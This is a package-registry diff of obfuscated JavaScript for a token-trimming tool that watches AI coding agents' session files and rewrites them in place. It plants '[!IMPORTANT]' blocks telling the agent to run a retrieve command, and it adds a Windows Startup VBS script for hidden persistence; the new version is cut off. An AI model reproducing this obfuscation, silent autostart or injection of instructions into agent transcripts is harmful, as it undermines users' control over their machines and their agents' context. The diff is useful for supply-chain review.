trimprompt 1.0.31 → 1.0.32

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/file-watcher.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x14bc19=a0_0x2798;function a0_0x2798(_0x4cb7f4,_0x3d1f36){const _0x17190b=a0_0x1719();return a0_0x2798=function(_0x27982c,_0x13350c){_0x27982c=_0x27982c-0x18b;let _0xd24a9c=_0x17190b[_0x27982c];return _0xd24a9c;},a0_0x2798(_0x4cb7f4,_0x3d1f36);}(function(_0x340720,_0x2e2967){const _0x59d632=a0_0x2798,_0x50c9b5=_0x340720();while(!![]){try{const _0x40ae42=-parseInt(_0x59d632(0x1c7))/0x1+-parseInt(_0x59d632(0x18b))/0x2*(-parseInt(_0x59d632(0x1d2))/0x3)+parseInt(_0x59d632(0x1ac))/0x4+parseInt(_0x59d632(0x19f))/0x5+-parseInt(_0x59d632(0x1a2))/0x6+parseInt(_0x59d632(0x1ad))/0x7*(parseInt(_0x59d632(0x1cd))/0x8)+-parseInt(_0x59d632(0x20a))/0x9*(parseInt(_0x59d632(0x199))/0xa);if(_0x40ae42===_0x2e2967)break;else _0x50c9b5['push'](_0x50c9b5['shift']());}catch(_0x2fc725){_0x50c9b5['push'](_0x50c9b5['shift']());}}}(a0_0x1719,0x573d0));var __createBinding=this&&this[a0_0x14bc19(0x1f9)]||(Object['create']?function(_0x29b554,_0x501a33,_0x2d9217,_0x556e7e){const _0x43edae=a0_0x14bc19;if(_0x556e7e===undefined)_0x556e7e=_0x2d9217;var _0x29accf=Object[_0x43edae(0x1c0)](_0x501a33,_0x2d9217);(!_0x29accf||(_0x43edae(0x209)in _0x29accf?!_0x501a33['__esModule']:_0x29accf[_0x43edae(0x222)]||_0x29accf[_0x43edae(0x19e)]))&&(_0x29accf={'enumerable':!![],'get':function(){return _0x501a33[_0x2d9217];}}),Object[_0x43edae(0x1c2)](_0x29b554,_0x556e7e,_0x29accf);}:function(_0x31c1c0,_0x4ccfc3,_0x448f12,_0xbf660f){if(_0xbf660f===undefined)_0xbf660f=_0x448f12;_0x31c1c0[_0xbf660f]=_0x4ccfc3[_0x448f12];}),__setModuleDefault=this&&this[a0_0x14bc19(0x218)]||(Object[a0_0x14bc19(0x1f8)]?function(_0x3be507,_0x557529){const _0x20189d=a0_0x14bc19;Object['defineProperty'](_0x3be507,_0x20189d(0x1e6),{'enumerable':!![],'value':_0x557529});}:function(_0x4fff73,_0x4c74ca){_0x4fff73['default']=_0x4c74ca;}),__importStar=this&&this[a0_0x14bc19(0x1ae)]||(function(){var _0x101012=function(_0x3392af){const _0x5b3cfe=a0_0x2798;return _0x101012=Object[_0x5b3cfe(0x1ec)]||function(_0x1e42f2){const _0x40faef=_0x5b3cfe;var _0x2c81fe=[];for(var _0x5f0538 in _0x1e42f2)if(Object['prototype'][_0x40faef(0x219)][_0x40faef(0x224)](_0x1e42f2,_0x5f0538))_0x2c81fe[_0x2c81fe[_0x40faef(0x1f4)]]=_0x5f0538;return _0x2c81fe;},_0x101012(_0x3392af);};return function(_0x524aaf){const _0x42ab40=a0_0x2798;if(_0x524aaf&&_0x524aaf[_0x42ab40(0x1db)])return _0x524aaf;var _0x297c70={};if(_0x524aaf!=null){for(var _0x5c5aea=_0x101012(_0x524aaf),_0x422e22=0x0;_0x422e22<_0x5c5aea[_0x42ab40(0x1f4)];_0x422e22++)if(_0x5c5aea[_0x422e22]!==_0x42ab40(0x1e6))__createBinding(_0x297c70,_0x524aaf,_0x5c5aea[_0x422e22]);}return __setModuleDefault(_0x297c70,_0x524aaf),_0x297c70;};}());Object[a0_0x14bc19(0x1c2)](exports,'__esModule',{'value':!![]}),exports[a0_0x14bc19(0x208)]=loadConfig,exports[a0_0x14bc19(0x1d8)]=saveConfig,exports[a0_0x14bc19(0x1e4)]=getAgentStoragePaths,exports[a0_0x14bc19(0x20f)]=getLatestSessionFile,exports['loadSessionsState']=loadSessionsState,exports['processSessionFile']=processSessionFile,exports['installWindowsStartupService']=installWindowsStartupService,exports[a0_0x14bc19(0x1f5)]=startWatcherDaemon;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x14bc19(0x214))),os=__importStar(require('os')),cache_manager_1=require(a0_0x14bc19(0x223)),tracker_1=require(a0_0x14bc19(0x1a5)),baseDir=path['join'](os[a0_0x14bc19(0x1e3)](),a0_0x14bc19(0x21a)),configPath=path[a0_0x14bc19(0x217)](baseDir,'config.json'),DEFAULT_CONFIG={'autostart_enabled':!![],'conversation_toggles':{'conv_claude':!![],'conv_codex':!![],'conv_cursor':!![],'conv_aider':!![],'conv_copilot':!![],'conv_openclaw':!![],'conv_opencode':!![],'conv_cortex':!![]},'custom_storage_paths':{'claude':null,'codex':null,'cursor':null,'aider':null,'copilot':null,'openclaw':null,'opencode':null,'cortex':null}};function loadConfig(){const _0x6e5ff=a0_0x14bc19;try{if(!fs['existsSync'](baseDir))fs[_0x6e5ff(0x1b6)](baseDir,{'recursive':!![]});if(fs[_0x6e5ff(0x221)](configPath)){const _0xf3414a=JSON[_0x6e5ff(0x1d3)](fs[_0x6e5ff(0x1da)](configPath,'utf8'));return{...DEFAULT_CONFIG,..._0xf3414a,'conversation_toggles':{...DEFAULT_CONFIG[_0x6e5ff(0x191)],..._0xf3414a[_0x6e5ff(0x191)]||{}},'custom_storage_paths':{...DEFAULT_CONFIG[_0x6e5ff(0x1e1)],..._0xf3414a[_0x6e5ff(0x1e1)]||{}}};}}catch{}return DEFAULT_CONFIG;}function saveConfig(_0x4d60cd){const _0x5629ea=a0_0x14bc19,_0x2da764=loadConfig(),_0xb64c01={..._0x2da764,..._0x4d60cd,'conversation_toggles':{..._0x2da764[_0x5629ea(0x191)],..._0x4d60cd[_0x5629ea(0x191)]||{}},'custom_storage_paths':{..._0x2da764['custom_storage_paths'],..._0x4d60cd['custom_storage_paths']||{}}};try{if(!fs[_0x5629ea(0x221)](baseDir))fs['mkdirSync'](baseDir,{'recursive':!![]});fs[_0x5629ea(0x20b)](configPath,JSON[_0x5629ea(0x1fa)](_0xb64c01,null,0x2),_0x5629ea(0x1a3));}catch{}return _0xb64c01;}function getAgentStoragePaths(_0xde90d3){const _0x3994a9=a0_0x14bc19,_0x11719d=loadConfig(),_0x5b2081=_0x11719d['custom_storage_paths'][_0xde90d3];if(_0x5b2081&&fs[_0x3994a9(0x221)](_0x5b2081))return[_0x5b2081];const _0x3bebc0=os[_0x3994a9(0x1e3)](),_0xe3aca3=process[_0x3994a9(0x1cc)]===_0x3994a9(0x1c8),_0x30be2c=process['platform']==='darwin';switch(_0xde90d3){case _0x3994a9(0x1e0):return[path[_0x3994a9(0x217)](_0x3bebc0,_0x3994a9(0x1f2),_0x3994a9(0x202)),path[_0x3994a9(0x217)](_0x3bebc0,'.claude',_0x3994a9(0x1ef))];case'codex':return[path[_0x3994a9(0x217)](_0x3bebc0,_0x3994a9(0x1e7),_0x3994a9(0x18f)),path[_0x3994a9(0x217)](_0x3bebc0,_0x3994a9(0x1c6),_0x3994a9(0x1bd),'Codex')];case _0x3994a9(0x1cb):return[path['join'](_0x3bebc0,_0x3994a9(0x1ed),_0x3994a9(0x216)),path[_0x3994a9(0x217)](_0x3bebc0,_0x3994a9(0x1ed)),path[_0x3994a9(0x217)](_0x3bebc0,_0x3994a9(0x1c6),'Roaming',_0x3994a9(0x18d)),path[_0x3994a9(0x217)](_0x3bebc0,_0x3994a9(0x1c3),'gemini')];case _0x3994a9(0x18e):if(_0xe3aca3)return[path[_0x3994a9(0x217)](_0x3bebc0,_0x3994a9(0x1c6),'Roaming',_0x3994a9(0x1dd),'User','workspaceStorage')];if(_0x30be2c)return[path[_0x3994a9(0x217)](_0x3bebc0,'Library','Application\x20Support',_0x3994a9(0x1dd),'User','workspaceStorage')];return[path['join'](_0x3bebc0,_0x3994a9(0x1c3),'Cursor',_0x3994a9(0x1fb),_0x3994a9(0x21d))];case _0x3994a9(0x211):return[process[_0x3994a9(0x201)](),path['join'](_0x3bebc0,'.aider.chat.history.md')];case _0x3994a9(0x206):if(_0xe3aca3)return[path[_0x3994a9(0x217)](_0x3bebc0,_0x3994a9(0x1c6),_0x3994a9(0x1df),_0x3994a9(0x205))];return[path['join'](_0x3bebc0,_0x3994a9(0x1c3),_0x3994a9(0x205))];case _0x3994a9(0x1ba):return[path[_0x3994a9(0x217)](_0x3bebc0,'.openclaw','storage'),path[_0x3994a9(0x217)](process[_0x3994a9(0x201)](),_0x3994a9(0x194),'context')];case _0x3994a9(0x1c4):return[path[_0x3994a9(0x217)](_0x3bebc0,_0x3994a9(0x197),_0x3994a9(0x18f))];case _0x3994a9(0x20d):return[path['join'](_0x3bebc0,_0x3994a9(0x1ce),'cache')];default:return[];}}function getLatestSessionFile(_0x8f90ca){const _0x1e9c3c=a0_0x14bc19,_0x295874=getAgentStoragePaths(_0x8f90ca);let _0x237513=null,_0x35dead=0x0,_0x5cb83c=null,_0x4f1fdc=null;for(const _0x4e172a of _0x295874){if(fs['existsSync'](_0x4e172a)){if(!_0x4f1fdc)_0x4f1fdc=_0x4e172a;const _0x35ff24=(_0x1cf536,_0x2e2bcf=0x0)=>{const _0x269d42=a0_0x2798;if(_0x2e2bcf>0x3)return;try{const _0x41db31=fs['readdirSync'](_0x1cf536,{'withFileTypes':!![]});for(const _0x3b963f of _0x41db31){const _0xfd8639=path[_0x269d42(0x217)](_0x1cf536,_0x3b963f[_0x269d42(0x220)]);if(_0x3b963f[_0x269d42(0x1a4)]())_0x35ff24(_0xfd8639,_0x2e2bcf+0x1);else{if(_0x3b963f[_0x269d42(0x21f)]()&&!_0x3b963f[_0x269d42(0x220)][_0x269d42(0x1f6)]('.')){const _0x51093a=_0x3b963f[_0x269d42(0x220)]['toLowerCase']();if(_0x51093a[_0x269d42(0x215)]('.png')||_0x51093a[_0x269d42(0x215)](_0x269d42(0x1e8))||_0x51093a['endsWith'](_0x269d42(0x1c1))||_0x51093a['endsWith']('.gif')||_0x51093a[_0x269d42(0x215)](_0x269d42(0x1a0))||_0x51093a[_0x269d42(0x215)](_0x269d42(0x21b))||_0x51093a['endsWith']('.wal')||_0x51093a[_0x269d42(0x215)](_0x269d42(0x1cf))||_0x51093a[_0x269d42(0x215)]('.tmp')||_0x51093a[_0x269d42(0x215)](_0x269d42(0x1e2))||_0x51093a[_0x269d42(0x215)]('.dat')||_0x51093a['startsWith']('media__')||_0x51093a[_0x269d42(0x1f6)](_0x269d42(0x193)))continue;const _0x534232=fs[_0x269d42(0x1d4)](_0xfd8639);_0x534232['mtimeMs']>_0x35dead&&(_0x35dead=_0x534232[_0x269d42(0x19a)],_0x237513=_0x3b963f[_0x269d42(0x220)],_0x5cb83c=_0xfd8639,_0x4f1fdc=_0x4e172a);}}}}catch{}};_0x35ff24(_0x4e172a);}}return{'fileName':_0x237513,'lastModified':_0x35dead>0x0?new Date(_0x35dead)[_0x1e9c3c(0x19d)]():null,'fullPath':_0x5cb83c,'dirPath':_0x4f1fdc};}const debounceTimers=new Map(),lastLoggedTimes=new Map();function compressMessageContent(_0xc18c2c,_0x1d66a8,_0x2f0c1c){const _0xf4f2=a0_0x14bc19;let _0x4be605=![],_0x150784=0x0;if(!_0xc18c2c)return{'modified':_0x4be605,'savedTokens':_0x150784};const _0x24d82c=_0x2ae0b9=>_0x2ae0b9[_0xf4f2(0x190)](/\r\n/g,'\x0a')[_0xf4f2(0x190)](/\n{3,}/g,'\x0a\x0a');if(typeof _0xc18c2c[_0xf4f2(0x1d9)]===_0xf4f2(0x198)){let _0x12f513=_0xc18c2c['content'],_0x3303de=_0x24d82c(_0x12f513);_0x3303de[_0xf4f2(0x1f4)]<_0x12f513[_0xf4f2(0x1f4)]&&(_0xc18c2c['content']=_0x3303de,_0x4be605=!![],_0x150784+=Math[_0xf4f2(0x203)]((_0x12f513[_0xf4f2(0x1f4)]-_0x3303de[_0xf4f2(0x1f4)])/0x4));if(_0xc18c2c['content'][_0xf4f2(0x1f4)]>0x12c&&!_0xc18c2c['content'][_0xf4f2(0x1b2)](_0xf4f2(0x1d6))){const _0x57d7c4=_0xf4f2(0x1b9)+Math[_0xf4f2(0x203)](_0xc18c2c[_0xf4f2(0x1d9)]['length']/0x4)+'\x20tokens).',_0x38a3dc=(0x0,cache_manager_1[_0xf4f2(0x1de)])(_0x1d66a8,_0x2f0c1c,_0xc18c2c['content'],_0x57d7c4);_0xc18c2c[_0xf4f2(0x1d9)]=_0xf4f2(0x20e)+_0x38a3dc[_0xf4f2(0x1b0)]+_0xf4f2(0x1f7)+_0x38a3dc[_0xf4f2(0x1c9)]+_0xf4f2(0x1a6)+_0x38a3dc[_0xf4f2(0x1c9)]+'`\x0a',_0x4be605=!![],_0x150784+=Math[_0xf4f2(0x1e5)](0x0,_0x38a3dc[_0xf4f2(0x1b0)]-_0x38a3dc[_0xf4f2(0x20c)]);}}else{if(Array[_0xf4f2(0x212)](_0xc18c2c[_0xf4f2(0x1d9)]))for(const _0x5dec0b of _0xc18c2c[_0xf4f2(0x1d9)]){if(_0x5dec0b&&typeof _0x5dec0b===_0xf4f2(0x1b5)){if(typeof _0x5dec0b[_0xf4f2(0x1a1)]==='string'){let _0x5bd31e=_0x5dec0b['text'],_0x46fd28=_0x24d82c(_0x5bd31e);_0x46fd28[_0xf4f2(0x1f4)]<_0x5bd31e[_0xf4f2(0x1f4)]&&(_0x5dec0b[_0xf4f2(0x1a1)]=_0x46fd28,_0x4be605=!![],_0x150784+=Math[_0xf4f2(0x203)]((_0x5bd31e[_0xf4f2(0x1f4)]-_0x46fd28['length'])/0x4));if(_0x5dec0b[_0xf4f2(0x1a1)][_0xf4f2(0x1f4)]>0x12c&&!_0x5dec0b[_0xf4f2(0x1a1)][_0xf4f2(0x1b2)](_0xf4f2(0x1d6))){const _0x822b89=_0xf4f2(0x1ab)+Math[_0xf4f2(0x203)](_0x5dec0b['text'][_0xf4f2(0x1f4)]/0x4)+_0xf4f2(0x1b1),_0x209e44=(0x0,cache_manager_1['saveChunk'])(_0x1d66a8,_0x2f0c1c,_0x5dec0b[_0xf4f2(0x1a1)],_0x822b89);_0x5dec0b[_0xf4f2(0x1a1)]='\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`'+_0x209e44[_0xf4f2(0x1c9)]+'`\x0a>\x20Retrieve\x20with:\x20`trim\x20retrieve\x20'+_0x209e44[_0xf4f2(0x1c9)]+'`\x0a',_0x4be605=!![],_0x150784+=Math[_0xf4f2(0x1e5)](0x0,_0x209e44[_0xf4f2(0x1b0)]-_0x209e44[_0xf4f2(0x20c)]);}}else{if(typeof _0x5dec0b[_0xf4f2(0x1d9)]===_0xf4f2(0x198)){let _0x34f7b2=_0x5dec0b[_0xf4f2(0x1d9)],_0x1afd8a=_0x24d82c(_0x34f7b2);_0x1afd8a[_0xf4f2(0x1f4)]<_0x34f7b2[_0xf4f2(0x1f4)]&&(_0x5dec0b[_0xf4f2(0x1d9)]=_0x1afd8a,_0x4be605=!![],_0x150784+=Math[_0xf4f2(0x203)]((_0x34f7b2[_0xf4f2(0x1f4)]-_0x1afd8a['length'])/0x4));if(_0x5dec0b[_0xf4f2(0x1d9)][_0xf4f2(0x1f4)]>0x12c&&!_0x5dec0b['content'][_0xf4f2(0x1b2)](_0xf4f2(0x1d6))){const _0x334d2c=_0xf4f2(0x1dc)+Math[_0xf4f2(0x203)](_0x5dec0b['content'][_0xf4f2(0x1f4)]/0x4)+'\x20tokens).',_0x93bde2=(0x0,cache_manager_1[_0xf4f2(0x1de)])(_0x1d66a8,_0x2f0c1c,_0x5dec0b[_0xf4f2(0x1d9)],_0x334d2c);_0x5dec0b[_0xf4f2(0x1d9)]=_0xf4f2(0x195)+_0x93bde2[_0xf4f2(0x1c9)]+_0xf4f2(0x1ff)+_0x93bde2[_0xf4f2(0x1c9)]+'`\x0a',_0x4be605=!![],_0x150784+=Math[_0xf4f2(0x1e5)](0x0,_0x93bde2[_0xf4f2(0x1b0)]-_0x93bde2[_0xf4f2(0x20c)]);}}}}}}return{'modified':_0x4be605,'savedTokens':_0x150784};}const sessionsStatePath=path['join'](baseDir,a0_0x14bc19(0x1b3));let sessionsStateMemoryCache=null;function loadSessionsState(){const _0x2485fc=a0_0x14bc19;try{if(fs[_0x2485fc(0x221)](sessionsStatePath)){const _0x4b077f=JSON['parse'](fs[_0x2485fc(0x1da)](sessionsStatePath,_0x2485fc(0x1a3)));if(_0x4b077f&&typeof _0x4b077f===_0x2485fc(0x1b5))return sessionsStateMemoryCache=_0x4b077f,_0x4b077f;}}catch{}return sessionsStateMemoryCache||{};}function saveSessionStateItem(_0x567c40,_0x2bb427,_0x14af53,_0x7b9f12=0x0,_0x3e3a92=0x0){const _0x5b9e32=a0_0x14bc19;try{const _0x27a161=loadSessionsState();_0x27a161[_0x567c40]={'lineCount':_0x2bb427,'activeSavedTokens':_0x14af53,'sideCacheSaved':_0x7b9f12,'officialCompactSaved':_0x3e3a92},sessionsStateMemoryCache=_0x27a161;if(!fs[_0x5b9e32(0x221)](baseDir))fs[_0x5b9e32(0x1b6)](baseDir,{'recursive':!![]});const _0x4ad677=sessionsStatePath+_0x5b9e32(0x1c5);fs[_0x5b9e32(0x20b)](_0x4ad677,JSON['stringify'](_0x27a161,null,0x2),_0x5b9e32(0x1a3)),fs['renameSync'](_0x4ad677,sessionsStatePath);}catch{}}function processSessionFile(_0x5547e9,_0x5baf3c){const _0x468f75=a0_0x14bc19;try{if(!fs[_0x468f75(0x221)](_0x5547e9))return;const _0x2bfbce=fs['statSync'](_0x5547e9);if(_0x2bfbce['isDirectory']()||_0x2bfbce['size']===0x0)return;const _0x4c005b=loadConfig(),_0x184afb='conv_'+_0x5baf3c;if(_0x4c005b[_0x468f75(0x191)][_0x184afb]===![])return;const _0x3e85c3=fs['readFileSync'](_0x5547e9,_0x468f75(0x1a3));let _0x19c7b4=![],_0x229be8=_0x3e85c3,_0x148ba5=0x0;const _0x1a4990=path[_0x468f75(0x204)](_0x5547e9)['toLowerCase'](),_0x31178e=path['basename'](_0x5547e9,_0x1a4990);let _0x2299d2=0x1;if(_0x5baf3c!==_0x468f75(0x1e0)){if(_0x1a4990===_0x468f75(0x192))try{const _0x35f515=JSON['parse'](_0x3e85c3),_0x401f5d=Array[_0x468f75(0x212)](_0x35f515[_0x468f75(0x1ea)])?_0x35f515[_0x468f75(0x1ea)]:Array[_0x468f75(0x212)](_0x35f515)?_0x35f515:null;if(_0x401f5d){_0x2299d2=_0x401f5d[_0x468f75(0x1f4)];for(let _0x2f85a8=0x0;_0x2f85a8<_0x401f5d[_0x468f75(0x1f4)];_0x2f85a8++){const _0x36e8e=compressMessageContent(_0x401f5d[_0x2f85a8],_0x31178e,_0x5baf3c);_0x36e8e[_0x468f75(0x1d7)]&&(_0x19c7b4=!![],_0x148ba5+=_0x36e8e['savedTokens']);}_0x19c7b4&&(_0x229be8=JSON[_0x468f75(0x1fa)](_0x35f515,null,0x2));}}catch{}else{if(_0x1a4990===_0x468f75(0x1b7)||_0x1a4990==='.json1')try{const _0x19877a=_0x3e85c3[_0x468f75(0x1fe)]('\x0a');_0x2299d2=_0x19877a[_0x468f75(0x1f4)];const _0x17c2aa=[];for(let _0x4632c5 of _0x19877a){if(!_0x4632c5[_0x468f75(0x213)]()){_0x17c2aa[_0x468f75(0x196)](_0x4632c5);continue;}try{const _0x5bb480=JSON[_0x468f75(0x1d3)](_0x4632c5),_0x59fce5=_0x5bb480[_0x468f75(0x1bc)]||_0x5bb480;if(_0x59fce5){const _0x211b3e=compressMessageContent(_0x59fce5,_0x31178e,_0x5baf3c);_0x211b3e[_0x468f75(0x1d7)]&&(_0x19c7b4=!![],_0x148ba5+=_0x211b3e[_0x468f75(0x1d5)],_0x4632c5=JSON[_0x468f75(0x1fa)](_0x5bb480));}}catch{}_0x17c2aa[_0x468f75(0x196)](_0x4632c5);}_0x19c7b4&&(_0x229be8=_0x17c2aa[_0x468f75(0x217)]('\x0a'));}catch{}}}else(_0x1a4990===_0x468f75(0x1b7)||_0x1a4990===_0x468f75(0x18c))&&(_0x2299d2=_0x3e85c3['split']('\x0a')[_0x468f75(0x1a9)](Boolean)[_0x468f75(0x1f4)]);let _0x5843d3=0x0;const _0x3c9b9a=_0x3e85c3[_0x468f75(0x1f0)](/(?:Compacted conversation\s*·\s*)?saved\s*([\d\.]+)k?\s*tokens/gi);for(const _0x5a0cd7 of _0x3c9b9a){let _0x1012a3=parseFloat(_0x5a0cd7[0x1]);_0x5a0cd7[0x0][_0x468f75(0x19c)]()[_0x468f75(0x1b2)]('k')&&(_0x1012a3=_0x1012a3*0x3e8),_0x5843d3+=Math[_0x468f75(0x21e)](_0x1012a3);}const _0x3a2400=loadSessionsState(),_0x53c7a4=_0x3a2400[_0x5547e9],_0x2736af=_0x53c7a4&&_0x53c7a4['sideCacheSaved']!==undefined?_0x53c7a4[_0x468f75(0x1f3)]:0x0,_0x29e9ac=_0x53c7a4&&_0x53c7a4[_0x468f75(0x1d1)]!==undefined?_0x53c7a4[_0x468f75(0x1d1)]:_0x53c7a4?_0x53c7a4['activeSavedTokens']:0x0,_0x4f0751=_0x53c7a4?_0x53c7a4[_0x468f75(0x19b)]:0x0,_0x456676=_0x2299d2>_0x4f0751;let _0x21d489=_0x2736af,_0x14e6d3=Math[_0x468f75(0x1e5)](_0x29e9ac,_0x5843d3);if(_0x19c7b4){fs[_0x468f75(0x20b)](_0x5547e9,_0x229be8,_0x468f75(0x1a3)),_0x21d489+=_0x148ba5;const _0x5cc743=_0x21d489+_0x14e6d3;saveSessionStateItem(_0x5547e9,_0x2299d2,_0x5cc743,_0x21d489,_0x14e6d3);const _0x51ca40='x'[_0x468f75(0x1be)](_0x5cc743*0x4);tracker_1[_0x468f75(0x207)][_0x468f75(0x200)](_0x468f75(0x1a7)+_0x5baf3c,_0x51ca40,'',0x0,undefined,['conv_'+_0x5baf3c,_0x468f75(0x1b8),_0x5baf3c,_0x468f75(0x1d0)]);}else{if(_0x5843d3>_0x29e9ac){_0x14e6d3=_0x5843d3;const _0x1234e3=_0x21d489+_0x14e6d3;saveSessionStateItem(_0x5547e9,_0x2299d2,_0x1234e3,_0x21d489,_0x14e6d3);const _0x20b33d='x'[_0x468f75(0x1be)](_0x1234e3*0x4);tracker_1[_0x468f75(0x207)][_0x468f75(0x200)](_0x468f75(0x1a7)+_0x5baf3c,_0x20b33d,'',0x0,undefined,[_0x468f75(0x1ca)+_0x5baf3c,'live-conv',_0x5baf3c,_0x468f75(0x1a8)]);}else{if(_0x456676){const _0x34b4d7=_0x21d489+_0x14e6d3;saveSessionStateItem(_0x5547e9,_0x2299d2,_0x34b4d7,_0x21d489,_0x14e6d3);if(_0x34b4d7>0x0){const _0x52f569='x'[_0x468f75(0x1be)](_0x34b4d7*0x4);tracker_1['tracker']['logExecution'](_0x468f75(0x1a7)+_0x5baf3c,_0x52f569,'',0x0,undefined,[_0x468f75(0x1ca)+_0x5baf3c,_0x468f75(0x1b8),_0x5baf3c,_0x468f75(0x1b4)]);}}else{const _0x21a8f4=_0x21d489+_0x14e6d3;saveSessionStateItem(_0x5547e9,_0x2299d2,_0x21a8f4,_0x21d489,_0x14e6d3);}}}}catch{}}function installWindowsStartupService(){const _0x546a29=a0_0x14bc19;if(process[_0x546a29(0x1cc)]!==_0x546a29(0x1c8))return;try{const _0x17f587=path[_0x546a29(0x217)](os[_0x546a29(0x1e3)](),_0x546a29(0x1c6),_0x546a29(0x1bd),'Microsoft',_0x546a29(0x1fc),_0x546a29(0x21c),_0x546a29(0x1f1),_0x546a29(0x1bb));if(!fs[_0x546a29(0x221)](_0x17f587))fs['mkdirSync'](_0x17f587,{'recursive':!![]});const _0x2af766=path['join'](_0x17f587,'TrimPromptDaemon.vbs'),_0x13d76e=path[_0x546a29(0x217)](__dirname,_0x546a29(0x1bf)),_0x568129=_0x13d76e['replace'](/\\/g,'\x5c\x5c'),_0x4cd165=_0x546a29(0x1ee)+_0x568129+_0x546a29(0x1af);fs['writeFileSync'](_0x2af766,_0x4cd165,'utf8');}catch{}}function startWatcherDaemon(){const _0xfb7f71=a0_0x14bc19;installWindowsStartupService();try{const {installClaudeHooks:_0x1024cf}=require(_0xfb7f71(0x1aa));_0x1024cf();}catch(_0x3ee9e8){}const _0x47b907=[_0xfb7f71(0x1e0),'gemini',_0xfb7f71(0x1eb),_0xfb7f71(0x18e),_0xfb7f71(0x211),_0xfb7f71(0x206),_0xfb7f71(0x1ba),_0xfb7f71(0x1c4),_0xfb7f71(0x20d)];for(const _0x5024d1 of _0x47b907){const _0x3dd82c=getAgentStoragePaths(_0x5024d1);for(const _0xd750e3 of _0x3dd82c){if(fs[_0xfb7f71(0x221)](_0xd750e3))try{fs[_0xfb7f71(0x1e9)](_0xd750e3,{'recursive':!![]},(_0x19182c,_0x2d661a)=>{const _0x32d428=_0xfb7f71;if(!_0x2d661a)return;const _0x30e1bc=path['join'](_0xd750e3,_0x2d661a);if(debounceTimers[_0x32d428(0x210)](_0x30e1bc))clearTimeout(debounceTimers['get'](_0x30e1bc));const _0x1c12ea=setTimeout(()=>processSessionFile(_0x30e1bc,_0x5024d1),0x1f4);debounceTimers['set'](_0x30e1bc,_0x1c12ea);});}catch{}}}setInterval(()=>{const _0x5d316d=_0xfb7f71;for(const _0x59356d of _0x47b907){try{const _0x5b026d=getLatestSessionFile(_0x59356d);_0x5b026d&&_0x5b026d['fullPath']&&processSessionFile(_0x5b026d[_0x5d316d(0x1fd)],_0x59356d);}catch{}}},0xbb8);}function a0_0x1719(){const _0x5dcac5=['toISOString','configurable','1259905diKUqJ','.webp','text','3726906KLqzVk','utf8','isDirectory','./tracker','`\x0a>\x20If\x20required,\x20execute:\x20`trim\x20retrieve\x20','conv:','official_compact','filter','./hooks/claude-hook','Summary:\x20Text\x20block\x20offloaded\x20(','304844ccSeAn','14iMPqeD','__importStar','\x22\x20&\x20\x22\x22\x22\x20ui\x20--headless\x22,\x200,\x20False\x0a','raw_tokens','\x20tokens).','includes','sessions_state.json','active_turn','object','mkdirSync','.jsonl','live-conv','Summary:\x20Content\x20offloaded\x20(','openclaw','Startup','message','Roaming','repeat','cli.js','getOwnPropertyDescriptor','.jpeg','defineProperty','.config','opencode','.tmp','AppData','325147TfiZvC','win32','chunk_id','conv_','gemini','platform','2211056FjhXzH','.cortex','.shm','trim_offload','officialCompactSaved','3DkAEiA','parse','statSync','savedTokens','TrimPrompt\x20Cache\x20Engine','modified','saveConfig','content','readFileSync','__esModule','Summary:\x20Tool\x20result\x20offloaded\x20(','Cursor','saveChunk','Local','claude','custom_storage_paths','.lock','homedir','getAgentStoragePaths','max','default','.codex','.jpg','watch','messages','codex','getOwnPropertyNames','.gemini','Set\x20WshShell\x20=\x20CreateObject(\x22WScript.Shell\x22)\x0aWshShell.Run\x20\x22node\x20\x22\x22\x22\x20&\x20\x22','history','matchAll','Programs','.claude','sideCacheSaved','length','startWatcherDaemon','startsWith','\x20tokens)\x20was\x20moved\x20to\x20local\x20side-cache.\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','create','__createBinding','stringify','User','Windows','fullPath','split','`\x0a>\x20Retrieve\x20with:\x20`trim\x20retrieve\x20','logExecution','cwd','projects','ceil','extname','github-copilot-cli','copilot','tracker','loadConfig','get','1076913MDSofU','writeFileSync','compressed_tokens','cortex','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20The\x20raw\x20content\x20of\x20this\x20step\x20(','getLatestSessionFile','has','aider','isArray','trim','path','endsWith','antigravity','join','__setModuleDefault','hasOwnProperty','.trimprompt','.pb','Start\x20Menu','workspaceStorage','round','isFile','name','existsSync','writable','./cache-manager','call','1084654THNobv','.json1','Gemini','cursor','sessions','replace','conversation_toggles','.json','image_','.openclaw','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','push','.opencode','string','10MbOTgZ','mtimeMs','lineCount','toLowerCase'];a0_0x1719=function(){return _0x5dcac5;};return a0_0x1719();}
1
+ 'use strict';function a0_0x3fd7(){const _0x1eeed6=['startWatcherDaemon','trim_offload','conv:','12qNUkjI','.webp','getOwnPropertyDescriptor','loadSessionsState','Startup','push','\x20tokens).','context','Codex','getLatestSessionFile','mtimeMs','.opencode','codex','Windows','filter','.config','parse','\x22\x20&\x20\x22\x22\x22\x20ui\x20--headless\x22,\x200,\x20False\x0a','get','text','startsWith','messages','.jpg','officialCompactSaved','object','./cache-manager','projects','round','activeSavedTokens','.gif','Roaming','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','sessions','.aider.chat.history.md','TrimPromptDaemon.vbs','live-conv','openclaw','Gemini','TrimPrompt\x20Cache\x20Engine','custom_storage_paths','processSessionFile','join','2gnYxot','isArray','cache','stringify','cursor','conversation_toggles','Microsoft','call','length','matchAll','max','configurable','__esModule','Cursor','raw_tokens','tracker','.pb','Summary:\x20Text\x20block\x20offloaded\x20(','Library','.shm','.json1','win32','workspaceStorage','Programs','.wal','defineProperty','`\x0a>\x20If\x20required,\x20execute:\x20`trim\x20retrieve\x20','\x20tokens)\x20was\x20moved\x20to\x20local\x20side-cache.\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','name','darwin','utf8','cwd','./tracker','3863050tedY